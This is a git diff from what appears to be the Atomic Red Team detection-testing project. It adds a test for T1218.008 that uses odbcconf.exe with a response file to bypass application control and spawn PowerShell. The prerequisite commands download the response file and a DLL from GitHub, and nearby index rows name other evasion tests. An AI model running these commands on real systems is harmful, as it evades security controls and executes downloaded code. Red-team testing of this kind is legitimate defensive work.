diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 8575034a..3254182b 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -221,6 +221,7 @@ defense-evasion,T1548.001,Setuid and Setgid,3,Set a SetGID flag on file,db55f666 defense-evasion,T1548.001,Setuid and Setgid,4,Make and modify capabilities of a binary,db53959c-207d-4000-9e7a-cd8eb417e072,sh defense-evasion,T1548.001,Setuid and Setgid,5,Provide the SetUID capability to a file,1ac3272f-9bcf-443a-9888-4b1d3de785c1,sh defense-evasion,T1218.008,Odbcconf,1,Odbcconf.exe - Execute Arbitrary DLL,2430498b-06c0-4b92-a448-8ad263c388e2,command_prompt +defense-evasion,T1218.008,Odbcconf,2,Odbcconf.exe - Load Response File,331ce274-f9c9-440b-9f8c-a1006e1fce0b,command_prompt defense-evasion,T1562.006,Indicator Blocking,1,Auditing Configuration Changes on Linux Host,212cfbcf-4770-4980-bc21-303e37abd0e3,bash defense-evasion,T1562.006,Indicator Blocking,2,Logging Configuration Changes on Linux Host,7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c,bash defense-evasion,T1562.006,Indicator Blocking,3,Disable Powershell ETW Provider - Windows,6f118276-121d-4c09-bb58-a8fb4a72ee84,powershell diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index d6e0a828..2abbeb05 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -162,6 +162,7 @@ defense-evasion,T1070.001,Clear Windows Event Logs,3,Clear Event Logs via VBA,1b defense-evasion,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell defense-evasion,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell defense-evasion,T1218.008,Odbcconf,1,Odbcconf.exe - Execute Arbitrary DLL,2430498b-06c0-4b92-a448-8ad263c388e2,command_prompt +defense-evasion,T1218.008,Odbcconf,2,Odbcconf.exe - Load Response File,331ce274-f9c9-440b-9f8c-a1006e1fce0b,command_prompt defense-evasion,T1562.006,Indicator Blocking,3,Disable Powershell ETW Provider - Windows,6f118276-121d-4c09-bb58-a8fb4a72ee84,powershell defense-evasion,T1562.006,Indicator Blocking,4,Disable .NET Event Tracing for Windows Via Registry (cmd),8a4c33be-a0d3-434a-bee6-315405edbd5b,command_prompt defense-evasion,T1562.006,Indicator Blocking,5,Disable .NET Event Tracing for Windows Via Registry (powershell),19c07a45-452d-4620-90ed-4c34fffbe758,powershell diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 9df4894e..b256754a 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -313,6 +313,7 @@ - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1218.008 Odbcconf](../../T1218.008/T1218.008.md) - Atomic Test #1: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #2: Odbcconf.exe - Load Response File [windows] - T1144 Gatekeeper Bypass [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - T1045 Software Packing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - T1055.013 Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 5e95cd1a..87fc367d 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -234,6 +234,7 @@ - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1218.008 Odbcconf](../../T1218.008/T1218.008.md) - Atomic Test #1: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #2: Odbcconf.exe - Load Response File [windows] - T1045 Software Packing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - T1055.013 Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - T1574.005 Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 01b25136..4232d1c0 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -12287,6 +12287,39 @@ defense-evasion: ' name: command_prompt + - name: Odbcconf.exe - Load Response File + auto_generated_guid: 331ce274-f9c9-440b-9f8c-a1006e1fce0b + description: | + Execute arbitrary response file that will spawn PowerShell.exe. + Source files: https://github.com/woanware/application-restriction-bypasses + supported_platforms: + - windows + input_arguments: + rsp_file_name: + description: Response file name to load + type: String + default: T1218.008.rsp + rsp_file_path: + description: Response file path + type: String + default: PathToAtomicsFolder\T1218.008\bin\ + dependency_executor_name: powershell + dependencies: + - description: 'T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name}) + + ' + prereq_command: 'if (Test-Path #{rsp_file_path}#{rsp_file_name}) {exit 0} + else {exit 1} + + ' + get_prereq_command: | + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}" + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll" + executor: + command: | + cd #{rsp_file_path} + odbcconf.exe -f #{rsp_file_name} + name: command_prompt T1144: technique: x_mitre_platforms: diff --git a/atomics/T1218.008/T1218.008.md b/atomics/T1218.008/T1218.008.md index 758dbec3..912c68f7 100644 --- a/atomics/T1218.008/T1218.008.md +++ b/atomics/T1218.008/T1218.008.md @@ -9,6 +9,8 @@ Adversaries may abuse odbcconf.exe to bypass application control solutions that - [Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL](#atomic-test-1---odbcconfexe---execute-arbitrary-dll) +- [Atomic Test #2 - Odbcconf.exe - Load Response File](#atomic-test-2---odbcconfexe---load-response-file) +
@@ -55,4 +57,53 @@ Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/ato +
+
+ +## Atomic Test #2 - Odbcconf.exe - Load Response File +Execute arbitrary response file that will spawn PowerShell.exe. +Source files: https://github.com/woanware/application-restriction-bypasses + +**Supported Platforms:** Windows + + +**auto_generated_guid:** 331ce274-f9c9-440b-9f8c-a1006e1fce0b + + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| rsp_file_name | Response file name to load | String | T1218.008.rsp| +| rsp_file_path | Response file path | String | PathToAtomicsFolder\T1218.008\bin\| + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +cd #{rsp_file_path} +odbcconf.exe -f #{rsp_file_name} +``` + + + + +#### Dependencies: Run with `powershell`! +##### Description: T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name}) +##### Check Prereq Commands: +```powershell +if (Test-Path #{rsp_file_path}#{rsp_file_name}) {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}" +Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll" +``` + + + +